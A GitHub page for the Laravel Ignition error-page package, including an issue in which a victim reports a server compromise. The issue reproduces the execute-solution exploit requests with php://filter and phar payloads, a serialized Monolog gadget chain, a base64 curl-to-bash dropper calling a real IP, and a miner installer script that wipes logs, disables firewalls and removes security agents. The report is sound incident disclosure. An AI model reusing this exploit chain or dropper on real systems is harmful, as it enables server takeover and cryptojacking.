A beautiful error page for Laravel apps

Overview

Ignition: a beautiful error page for Laravel apps

Latest Version on Packagist Tests Psalm Total Downloads

Ignition is a beautiful and customizable error page for Laravel applications running on Laravel 5.5 and newer. It is the default error page for all Laravel 6 applications. It also allows to publicly share your errors on Flare. If configured with a valid Flare API key, your errors in production applications will be tracked, and you'll get notified when they happen.

Screenshot of ignition

Official Documentation

The official documentation for Ignition can be found on the Flare website.

Changelog

Please see CHANGELOG for more information what has changed recently.

Contributing

Please see CONTRIBUTING for details.

License

The MIT License (MIT). Please see License File for more information.

Issues
  • Action Facade\Ignition\Http\Controllers\ShareReportController not defined.

    Action Facade\Ignition\Http\Controllers\ShareReportController not defined.

    Laravel Version:

    • 6.2.0

    Facade Ignition:

    • 1.6

    Problem:

    not showing the UI of the Ignition. problem with the ignition controller.

    image

    opened by whoami213 48
  • some scanner run miner and crash my server

    some scanner run miner and crash my server

    laravel 7

    some skanner hack my dev server and run maner, and as result my server unvailable

    vulnerable package

        "require-dev": {
            "facade/ignition": "^2.0",
    

    hacker reqests on my server:

    95.215.108.217 - - [05/Feb/2021:07:33:35 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 327453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    95.215.108.217 - [05/Feb/2021:07:33:35 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 327680 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.028
    185.105.109.211 - - [05/Feb/2021:07:33:38 +0000] "POST /_ignition/execute-solution HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:33:38 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 200 263 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "0.00" 0.016
    212.8.247.179 - - [05/Feb/2021:07:33:46 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 577873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    212.8.247.179 - [05/Feb/2021:07:33:46 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 578100 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22aa\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.028
    212.8.247.179 - - [05/Feb/2021:07:34:14 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 701113 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    212.8.247.179 - [05/Feb/2021:07:34:14 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 701340 [-] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.024
    185.105.109.211 - - [05/Feb/2021:07:34:20 +0000] "POST /_ignition/execute-solution HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:34:20 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 200 263 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "0.00" 0.016
    178.57.217.160 - - [05/Feb/2021:07:34:26 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 576168 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    178.57.217.160 - [05/Feb/2021:07:34:26 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 576395 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22phar://../storage/logs/laravel.log/test.txt\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.024
    95.215.108.217 - - [05/Feb/2021:07:35:00 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 311069 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    95.215.108.217 - [05/Feb/2021:07:35:00 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 311296 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.020
    185.105.109.211 - - [05/Feb/2021:07:35:02 +0000] "POST /_ignition/execute-solution HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:35:02 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 200 263 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "0.00" 0.024
    95.215.108.217 - - [05/Feb/2021:07:35:22 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 540445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    95.215.108.217 - [05/Feb/2021:07:35:22 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 540672 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22aa\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.032
    185.105.109.211 - - [05/Feb/2021:07:35:42 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 540445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:35:42 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 540672 [-] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.024
    185.105.109.211 - - [05/Feb/2021:07:35:43 +0000] "POST /_ignition/execute-solution HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:35:43 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 200 263 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "0.00" 0.020
    212.8.247.179 - - [05/Feb/2021:07:36:02 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 576136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    212.8.247.179 - [05/Feb/2021:07:36:02 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 576363 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22phar://../storage/logs/laravel.log/test.txt\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.024
    185.105.109.211 - - [05/Feb/2021:07:36:23 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 540445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:36:23 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 540672 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.036
    212.8.247.179 - - [05/Feb/2021:07:36:25 +0000] "POST /_ignition/execute-solution HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    212.8.247.179 - [05/Feb/2021:07:36:25 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 200 263 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "0.00" 0.024
    185.105.109.211 - - [05/Feb/2021:07:36:32 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 577904 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    185.105.109.211 - [05/Feb/2021:07:36:32 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 578131 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22aa\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.036
    212.8.247.179 - - [05/Feb/2021:07:37:05 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 650000 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    212.8.247.179 - [05/Feb/2021:07:37:05 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 650227 [-] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.036
    212.8.247.179 - - [05/Feb/2021:07:37:06 +0000] "POST /_ignition/execute-solution HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    212.8.247.179 - [05/Feb/2021:07:37:06 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 200 263 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "0.00" 0.028
    95.215.108.217 - - [05/Feb/2021:07:37:26 +0000] "POST /_ignition/execute-solution HTTP/1.1" 500 442141 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    95.215.108.217 - [05/Feb/2021:07:37:26 +0000] 206.189.17.95 "POST /_ignition/execute-solution HTTP/1.1" 500 442368 [{\x0A        \x22solution\x22: \x22Facade\x5C\x5CIgnition\x5C\x5CSolutions\x5C\x5CMakeViewVariableOptionalSolution\x22,\x0A        \x22parameters\x22: {\x0A            \x22variableName\x22: \x22zzzz\x22,\x0A            \x22viewFile\x22: \x22phar://../storage/logs/laravel.log/test.txt\x22\x0A        }\x0A    }] "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" 0.028
    
    

    Result in my logs:

    <?php __HALT_COMPILER(); ?>
    ™             B  O:29:"Monolog\Handler\BufferHandler":7:{s:10:" * handler";O:35:"Monolog\Handler\NativeMailerHandler":7:{s:5:" * to";N;s:10:" * subject";N;s:10:" * headers";N;s:8:" * level";N;s:9:" * bubble";b:0;s:12:" * formatter";N;s:13:" * processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}s:13:" * bufferSize";i:-1;s:9:" * buffer";a:1:{i:0;a:2:{i:0;s:898:"echo 0bd7990a && echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC40MC4yNDMuMTY3L2xyLnNofGJhc2gKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAxOTQuNDAuMjQzLjE2Ny9sci5zaHxiYXNoCmVsc2UKICBfX2N1cmwgaHR0cDovLzE5NC40MC4yNDMuMTY3L2xyMi5zaHxiYXNoCmZpCg==|base64 -d|bash && echo 0bd7990a";s:5:"level";N;}}s:8:" * level";N;s:9:" * bubble";b:0;s:12:" * formatter";N;s:13:" * processors";N;}   dummy   жґ`   ~Ш¤         test.txt   жґ`   ~Ш¤      testtestRђЭg–~‚ѓќ:ј8Ѓ¬геђ   GBMB[2021-02-05 07:58:57] local.ERROR: file_put_contents(phar://../storage/logs/laravel.log/test.txt): failed to open stream: phar error: write operations disabled by the php.ini setting phar.readonly {"exception":"[object] (ErrorException(code: 0): file_put_contents(phar://../storage/logs/laravel.log/test.txt): failed to open stream: phar error: write operations disabled by the php.ini setting phar.readonly at /var/www/joil/dev.someserver.com/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:69)
    [stacktrace]
    #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
    #1 /var/www/joil/dev.someserver.com/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(69): file_put_contents()
    #2 /var/www/joil/dev.someserver.com/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
    #3 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
    #4 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Route.php(239): Illuminate\\Routing\\ControllerDispatcher->dispatch()
    #5 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Route.php(196): Illuminate\\Routing\\Route->runController()
    #6 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Router.php(685): Illuminate\\Routing\\Route->run()
    #7 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\\Routing\\Router->Illuminate\\Routing\\{closure}()
    #8 /var/www/joil/dev.someserver.com/vendor/facade/ignition/src/Http/Middleware/IgnitionConfigValueEnabled.php(25): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #9 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Facade\\Ignition\\Http\\Middleware\\IgnitionConfigValueEnabled->handle()
    #10 /var/www/joil/dev.someserver.com/vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php(23): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #11 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Facade\\Ignition\\Http\\Middleware\\IgnitionEnabled->handle()
    #12 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #13 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Router.php(687): Illuminate\\Pipeline\\Pipeline->then()
    #14 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\\Routing\\Router->runRouteWithinStack()
    #15 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Router.php(628): Illuminate\\Routing\\Router->runRoute()
    #16 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Routing/Router.php(617): Illuminate\\Routing\\Router->dispatchToRoute()
    #17 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(165): Illuminate\\Routing\\Router->dispatch()
    #18 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\\Foundation\\Http\\Kernel->Illuminate\\Foundation\\Http\\{closure}()
    #19 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #20 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
    #21 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #22 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
    #23 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #24 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\\Foundation\\Http\\Middleware\\ValidatePostSize->handle()
    #25 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/CheckForMaintenanceMode.php(63): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #26 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\\Foundation\\Http\\Middleware\\CheckForMaintenanceMode->handle()
    #27 /var/www/joil/dev.someserver.com/vendor/fruitcake/laravel-cors/src/HandleCors.php(37): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #28 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\\Cors\\HandleCors->handle()
    #29 /var/www/joil/dev.someserver.com/vendor/fideloper/proxy/src/TrustProxies.php(57): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #30 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\\Proxy\\TrustProxies->handle()
    #31 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
    #32 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(140): Illuminate\\Pipeline\\Pipeline->then()
    #33 /var/www/joil/dev.someserver.com/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(109): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
    #34 /var/www/joil/dev.someserver.com/public/index.php(55): Illuminate\\Foundation\\Http\\Kernel->handle()
    #35 {main}
    "} 
    
    

    decoded code:

    #!/bin/bash
    pkill -f zsvc
    pkill -f pdefenderd
    pkill -f updatecheckerd
    
    function __curl() {
      read proto server path <<<$(echo ${1//// })
      DOC=/${path// //}
      HOST=${server//:*}
      PORT=${server//*:}
      [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    
      exec 3<>/dev/tcp/${HOST}/$PORT
      echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
      (while read line; do
       [[ "$line" == $'\r' ]] && break
      done && cat) <&3
      exec 3>&-
    }
    
    if [ -x "$(command -v curl)" ]; then
      curl 194.40.243.167/lr.sh|bash
    elif [ -x "$(command -v wget)" ]; then
      wget -q -O- 194.40.243.167/lr.sh|bash
    else
      __curl http://194.40.243.167/lr2.sh|bash
    fi
    

    and runed code if needed

    #!/bin/sh
    ulimit -n 65535
    rm -rf /var/log/syslog
    chattr -iua /tmp/
    chattr -iua /var/tmp/
    chattr -R -i /var/spool/cron
    chattr -i /etc/crontab
    ufw disable
    iptables -F
    echo "nope" >/tmp/log_rot
    sudo sysctl kernel.nmi_watchdog=0
    echo '0' >/proc/sys/kernel/nmi_watchdog
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    userdel akay
    userdel vfinder
    chattr -iae /root/.ssh/
    chattr -iae /root/.ssh/authorized_keys
    rm -rf /tmp/addres*
    rm -rf /tmp/walle*
    rm -rf /tmp/keys
    if ps aux | grep -i '[a]liyun'; then
      curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
      curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      pkill aliyun-service
      rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
      rm -rf /usr/local/aegis*
      systemctl stop aliyun.service
      systemctl disable aliyun.service
      service bcm-agent stop
      yum remove bcm-agent -y
      apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
      /usr/local/qcloud/stargate/admin/uninstall.sh
      /usr/local/qcloud/YunJing/uninst.sh
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
    netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
    
    
    
    netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :4444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
